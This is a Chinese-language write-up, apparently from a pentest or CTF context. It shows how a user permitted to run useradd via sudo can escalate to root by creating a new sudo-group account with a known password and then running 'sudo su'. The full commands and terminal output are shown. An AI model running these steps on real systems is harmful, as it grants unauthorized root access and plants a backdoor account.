sudo配合useradd命令也是可以用來提權的。整體思路是新增一個組為sudo的使用者，然後用這個新使用者執行sudo su到root

首先看下useradd新增使用者的幾個必要條件，指定組，指定密碼，useradd有這麼幾個引數可以使用

Usage: useradd [options] LOGIN
       useradd -D
       useradd -D [options]

Options:
  -g, --gid GROUP               name or ID of the primary group of the new account
  -m, --create-home             create the user'
 
s home directory
  -p, --password PASSWORD       encrypted password of the new account

-g指定組，-m指定home目錄，登入需要一個預設的home目錄。-p指定密碼，這裡的密碼需要encrypted加密過。

步驟一：生成使用者密碼的密文，這裡用python的crypt庫來實現，這裡123456是密碼，hh隨便指定，相當於鹽

test@test:/etc/ppp$ python                                                                                                                                                                                                                                                                                                                                                                               
Python 
 
2.7.16 (default, Oct 10 2019, 22:02:15)                                                                                                                                                            
[GCC 8.3.0] on linux2                                                                                                                                                                                     
Type 
 
"help", "copyright", "credits" or "license" for more information.                                                                                                                                    
>>> import crypt                                                                                                                                                                                          
import crypt                                                                                                                                                                                              
>>> crypt.crypt("123456","hh")                                                                                                                                                                            
crypt.crypt("123456","hh")                                                                                                                                                                                
'hhYwUmQRSuCZ.'                                                                                                                                                                                           
>>> exit                                                                                                                                                                                                  
exit                                                                                                                                                                                                      
Use exit() or Ctrl-D (i.e. EOF) to exit                                                                                                                                                                   
>>> exit()                                                                                                                                                                                                
exit()                                                                                                                                                                                                    
test@test:/etc/ppp$

步驟二：利用上面生成的密碼密文配合sudo useradd加一個擁有sudo組的使用者，此時就添加了一個test2的使用者，密碼是123456

test@test:/etc/ppp$ sudo /usr/sbin/useradd -m -g sudo -p hhYwUmQRSuCZ. test2

步驟三：跳到test2使用者

test@test:/etc/ppp$ su test2                                                                                                                                                                                
su test2                                                                                                                                                                                                  
Password: 123456                                                                                                                                                                                          
                                                                                                                                                                                                          
$ id                                                                                                                                                                                                      
id                                                                                                                                                                                                        
uid=1003(test2) gid=27(sudo) groups=27(sudo)

步驟四：跳到root使用者

$ sudo su                                                                                                                                                                                                 
sudo su                                                                                                                                                                                                   
                                                                                                                                                                                                          
We trust you have received the usual lecture from the local System                                                                                                                                        
Administrator. It usually boils down to these three things:                                                                                                                                               
                                                                                                                                                                                                          
    #1) Respect the privacy of others.                                                                                                                                                                    
    #2) Think before you type.                                                                                                                                                                            
    #3) With great power comes great responsibility.                                                                                                                                                      
                                                                                                                                                                                                          
[sudo] password for test2: 123456
root@test:/etc/ppp#

提權到root